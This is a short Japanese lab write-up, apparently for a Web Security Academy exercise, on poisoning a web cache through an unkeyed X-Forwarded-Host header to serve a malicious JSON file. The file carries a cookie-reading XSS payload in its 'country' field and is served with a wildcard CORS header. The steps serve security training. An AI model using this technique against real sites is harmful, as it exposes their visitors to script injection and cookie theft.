Hello there, ('ω')ノ
厳格なキャッシュ基準を介してDOMの脆弱性を悪用するキャッシュポイズニングを。
Webサイトがキーのないヘッダーを安全に使用してファイルをインポートすると。
攻撃者がこれを悪用して悪意のあるファイルをインポートする可能性があって。
これはJavaScriptではなくて。
ホームページを生成したリクエストとレスポンスを調べて。
リクエストを見つけて、BurpRepeaterに送信して。
jsonリクエストもBurpRepeaterに送信して。
jsonリクエストのレスポンスを確認して。
BurpのParam MinerでX-Forwarded-Hostヘッダがサポートされていることを確認して。
下記のキャッシュバスターをリクエストに追加して。
X-Forwarded-Host: example.com
エクスプロイトサーバを起動して。
脆弱なレスポンスで使用されるパスに一致するようにファイル名を変更して。
/resources/json/geolocate.json
ヘッダに下記を追加して、CORSを有効に。
Access-Control-Allow-Origin:*
本文には、脆弱なWebサイトで使用されているものと一致する。
悪意のあるJSONオブジェクトを追加して。
値については、XSSペイロードを。
{
"country": "<img src=x onerror=alert(document.cookie) />"
}
最後に保存して。
store
Burpのリクエストには、上記のURLに変更して。
X-Forwarded-Host:ac061f761f2bf2c580ab1ac201b80010.web-security-academy.net
X-Cache: hitするまでSendして。
ブラウザをリロードして、alert()が発生することを確認するとクリアできた。
Best regards, (^^ゞ